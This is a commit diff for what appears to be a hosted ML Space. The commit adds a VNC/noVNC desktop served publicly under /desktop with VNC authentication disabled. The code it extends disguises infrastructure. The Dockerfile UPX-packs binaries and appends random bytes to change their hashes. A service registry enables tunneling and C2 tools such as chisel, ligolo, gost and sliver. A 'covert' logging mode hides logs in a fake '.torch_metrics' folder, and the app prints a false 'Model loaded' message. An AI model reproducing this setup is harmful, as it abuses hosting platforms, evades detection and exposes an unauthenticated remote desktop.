Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- Dockerfile +6 -0
- config/Caddyfile.template +5 -0
- core/orchestrator.py +1 -0
- core/service_logs.py +9 -8
- core/service_registry.py +1 -1
- services/desktop_service.py +15 -0
Dockerfile
CHANGED
|
@@ -6,6 +6,9 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
| 6 |
curl wget sudo python3 python3-pip upx openssh-server \
|
| 7 |
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
|
| 8 |
rclone supervisor iproute2 \
|
|
|
|
|
|
|
|
|
|
| 9 |
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
|
| 10 |
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
|
| 11 |
&& echo "Port 2222" >> /etc/ssh/sshd_config \
|
|
@@ -30,6 +33,9 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
| 30 |
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
|
| 31 |
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
|
| 32 |
done \
|
|
|
|
|
|
|
|
|
|
| 33 |
&& rm -rf /tmp/* \
|
| 34 |
&& apt-get purge -y upx \
|
| 35 |
&& apt-get autoremove -y \
|
|
|
|
| 6 |
curl wget sudo python3 python3-pip upx openssh-server \
|
| 7 |
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
|
| 8 |
rclone supervisor iproute2 \
|
| 9 |
+
dbus-x11 x11-xserver-utils xfce4 xfce4-goodies \
|
| 10 |
+
tigervnc-standalone-server novnc websockify \
|
| 11 |
+
bzip2 libgtk-3-0 libdbus-glib-1-2 libxt6 \
|
| 12 |
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
|
| 13 |
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
|
| 14 |
&& echo "Port 2222" >> /etc/ssh/sshd_config \
|
|
|
|
| 33 |
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
|
| 34 |
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
|
| 35 |
done \
|
| 36 |
+
&& curl -fsSL "https://download.mozilla.org/?product=firefox-latest-ssl&os=linux64&lang=en-US" -o /tmp/firefox.tar.bz2 \
|
| 37 |
+
&& tar -jxf /tmp/firefox.tar.bz2 -C /opt \
|
| 38 |
+
&& ln -s /opt/firefox/firefox /usr/bin/firefox \
|
| 39 |
&& rm -rf /tmp/* \
|
| 40 |
&& apt-get purge -y upx \
|
| 41 |
&& apt-get autoremove -y \
|
config/Caddyfile.template
CHANGED
|
@@ -44,6 +44,11 @@
|
|
| 44 |
# Routing console / Filebrowser (retains prefix)
|
| 45 |
reverse_proxy /routing-console* 127.0.0.1:6801
|
| 46 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 47 |
# Default: route all other public traffic to Gradio (port 7861)
|
| 48 |
handle {
|
| 49 |
reverse_proxy 127.0.0.1:7861 {
|
|
|
|
| 44 |
# Routing console / Filebrowser (retains prefix)
|
| 45 |
reverse_proxy /routing-console* 127.0.0.1:6801
|
| 46 |
|
| 47 |
+
# Desktop noVNC interface (strips prefix)
|
| 48 |
+
handle_path /desktop* {
|
| 49 |
+
reverse_proxy 127.0.0.1:6080
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
# Default: route all other public traffic to Gradio (port 7861)
|
| 53 |
handle {
|
| 54 |
reverse_proxy 127.0.0.1:7861 {
|
core/orchestrator.py
CHANGED
|
@@ -66,5 +66,6 @@ def main():
|
|
| 66 |
if'llm_proxy'in A:from services import llm_proxy_service as d;d.start(B.llm_proxy)
|
| 67 |
if'open_webui'in A:from services import open_webui_service as e;e.start(B.open_webui)
|
| 68 |
if'code_server'in A:from services import code_server_service as f;f.start(B.code_server)
|
|
|
|
| 69 |
logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');U.wait()
|
| 70 |
if __name__=='__main__':main()
|
|
|
|
| 66 |
if'llm_proxy'in A:from services import llm_proxy_service as d;d.start(B.llm_proxy)
|
| 67 |
if'open_webui'in A:from services import open_webui_service as e;e.start(B.open_webui)
|
| 68 |
if'code_server'in A:from services import code_server_service as f;f.start(B.code_server)
|
| 69 |
+
if'desktop'in A:from services import desktop_service as g;g.start(B.desktop)
|
| 70 |
logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');U.wait()
|
| 71 |
if __name__=='__main__':main()
|
core/service_logs.py
CHANGED
|
@@ -1,3 +1,4 @@
|
|
|
|
|
| 1 |
_G='code_server'
|
| 2 |
_F='llm_proxy'
|
| 3 |
_E='open_webui'
|
|
@@ -12,7 +13,7 @@ from collections import namedtuple
|
|
| 12 |
from loguru import logger
|
| 13 |
COVERT_LOGGING_MODE=2
|
| 14 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 15 |
-
ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm',_B,'gost',_C,_D,'caddy',_E,_F,_G])
|
| 16 |
class LoguruSubprocessBridge:
|
| 17 |
def __init__(A,prefix):A.prefix=prefix;B,C=os.pipe();A.r=B;A.w=C;threading.Thread(target=A._reader,daemon=_A).start()
|
| 18 |
def _reader(A):
|
|
@@ -24,13 +25,13 @@ class LoguruSubprocessBridge:
|
|
| 24 |
def write(A,s):B=s.rstrip('\r\n');logger.bind(prefix=A.prefix).info(B)
|
| 25 |
def flush(A):0
|
| 26 |
def setup_service_logs():
|
| 27 |
-
|
| 28 |
if COVERT_LOGGING_MODE in(1,2):
|
| 29 |
-
Path(METRICS_DIR).mkdir(parents=_A,exist_ok=_A);
|
| 30 |
-
for(
|
| 31 |
if COVERT_LOGGING_MODE==2:
|
| 32 |
-
def
|
| 33 |
-
if
|
| 34 |
return'<green>{time:YYYY-MM-DD HH:mm:ss.SSS}</green> | <level>{level: <8}</level> | <cyan>{name}</cyan>:<cyan>{function}</cyan>:<cyan>{line}</cyan> - <level>{message}</level>\n'
|
| 35 |
-
logger.add(sys.stdout,format=
|
| 36 |
-
return ServiceLogs(ts=LoguruSubprocessBridge('TS'),fb=LoguruSubprocessBridge('FB'),tm=LoguruSubprocessBridge(A),chisel=LoguruSubprocessBridge(B),gost=LoguruSubprocessBridge(C),ligolo=LoguruSubprocessBridge(D),sliver=LoguruSubprocessBridge(E),caddy=LoguruSubprocessBridge(F),open_webui=LoguruSubprocessBridge(G),llm_proxy=LoguruSubprocessBridge(H),code_server=LoguruSubprocessBridge(I))
|
|
|
|
| 1 |
+
_H='desktop'
|
| 2 |
_G='code_server'
|
| 3 |
_F='llm_proxy'
|
| 4 |
_E='open_webui'
|
|
|
|
| 13 |
from loguru import logger
|
| 14 |
COVERT_LOGGING_MODE=2
|
| 15 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 16 |
+
ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm',_B,'gost',_C,_D,'caddy',_E,_F,_G,_H])
|
| 17 |
class LoguruSubprocessBridge:
|
| 18 |
def __init__(A,prefix):A.prefix=prefix;B,C=os.pipe();A.r=B;A.w=C;threading.Thread(target=A._reader,daemon=_A).start()
|
| 19 |
def _reader(A):
|
|
|
|
| 25 |
def write(A,s):B=s.rstrip('\r\n');logger.bind(prefix=A.prefix).info(B)
|
| 26 |
def flush(A):0
|
| 27 |
def setup_service_logs():
|
| 28 |
+
M='INFO';L='prefix';K='extra';J='DESKTOP';I='CODESRV';H='LITELLM';G='OWUI';F='CADDY';E='SLIVER';D='LIGOLO';C='GOST';B='CHISEL';A='PLAYIT';logger.remove()
|
| 29 |
if COVERT_LOGGING_MODE in(1,2):
|
| 30 |
+
Path(METRICS_DIR).mkdir(parents=_A,exist_ok=_A);N={'ts':('TS','ts_daemon.log'),'fb':('FB','fb.log'),'tm':(A,'tm_daemon.log'),_B:(B,'chisel.log'),'gost':(C,'gost.log'),_C:(D,'ligolo.log'),_D:(E,'sliver.log'),'caddy':(F,'caddy.log'),_E:(G,'open_webui.log'),_F:(H,'llm_proxy.log'),_G:(I,'code_server.log'),_H:(J,'desktop.log')}
|
| 31 |
+
for(R,(O,P))in N.items():logger.add(f"{METRICS_DIR}/{P}",filter=lambda record,p=O:record[K].get(L)==p,format='{message}\n',level=M,enqueue=_A)
|
| 32 |
if COVERT_LOGGING_MODE==2:
|
| 33 |
+
def Q(record):
|
| 34 |
+
if L in record[K]:return'[{extra[prefix]}] {message}\n'
|
| 35 |
return'<green>{time:YYYY-MM-DD HH:mm:ss.SSS}</green> | <level>{level: <8}</level> | <cyan>{name}</cyan>:<cyan>{function}</cyan>:<cyan>{line}</cyan> - <level>{message}</level>\n'
|
| 36 |
+
logger.add(sys.stdout,format=Q,level=M,enqueue=_A)
|
| 37 |
+
return ServiceLogs(ts=LoguruSubprocessBridge('TS'),fb=LoguruSubprocessBridge('FB'),tm=LoguruSubprocessBridge(A),chisel=LoguruSubprocessBridge(B),gost=LoguruSubprocessBridge(C),ligolo=LoguruSubprocessBridge(D),sliver=LoguruSubprocessBridge(E),caddy=LoguruSubprocessBridge(F),open_webui=LoguruSubprocessBridge(G),llm_proxy=LoguruSubprocessBridge(H),code_server=LoguruSubprocessBridge(I),desktop=LoguruSubprocessBridge(J))
|
core/service_registry.py
CHANGED
|
@@ -1,2 +1,2 @@
|
|
| 1 |
-
ALLOWED_SERVICES=frozenset({'caddy','filebrowser','tailscale','playit','chisel','gost','ligolo','sliver','minecraft','test','llm_proxy','open_webui','code_server'})
|
| 2 |
ENABLED_SERVICES_PATH='/home/user/config/enabled_services.json'
|
|
|
|
| 1 |
+
ALLOWED_SERVICES=frozenset({'caddy','filebrowser','tailscale','playit','chisel','gost','ligolo','sliver','minecraft','test','llm_proxy','open_webui','code_server','desktop'})
|
| 2 |
ENABLED_SERVICES_PATH='/home/user/config/enabled_services.json'
|
services/desktop_service.py
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os,subprocess
|
| 2 |
+
from pathlib import Path
|
| 3 |
+
from loguru import logger
|
| 4 |
+
PORT=6080
|
| 5 |
+
VNC_PORT=5901
|
| 6 |
+
DISPLAY=':1'
|
| 7 |
+
PREFIX='[DESKTOP]'
|
| 8 |
+
def start(log):
|
| 9 |
+
A=log;E=Path.home();B=E/'.vnc';B.mkdir(parents=True,exist_ok=True);C=B/'xstartup';F='#!/bin/sh\nunset SESSION_MANAGER\nunset DBUS_SESSION_BUS_ADDRESS\n[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup\n[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources\nvncconfig -iconic &\nxsetroot -solid grey\ndbus-launch --exit-with-session startxfce4\n';C.write_text(F);C.chmod(493)
|
| 10 |
+
for G in[f"/tmp/.X11-unix/X{DISPLAY[1:]}",f"/tmp/.X{DISPLAY[1:]}-lock"]:
|
| 11 |
+
try:
|
| 12 |
+
D=Path(G)
|
| 13 |
+
if D.exists():D.unlink()
|
| 14 |
+
except Exception as H:logger.debug(f"{PREFIX} Cleanup warning: {H}")
|
| 15 |
+
logger.info(f"{PREFIX} Starting VNC server on display {DISPLAY}...");I=['vncserver',DISPLAY,'-geometry','1280x720','-depth','24','-localhost','yes','-SecurityTypes','None'];subprocess.run(I,stdout=A,stderr=A);logger.info(f"{PREFIX} Launching websockify on 127.0.0.1:{PORT} serving noVNC...");J='/usr/share/novnc/';K=['websockify','--web',J,str(PORT),f"127.0.0.1:{VNC_PORT}"];L=os.environ.copy();M=subprocess.Popen(K,stdout=A,stderr=A,env=L);logger.success(f"{PREFIX} Desktop environment initiated (pid {M.pid}). Reachable locally at http://127.0.0.1:{PORT}/vnc.html")
|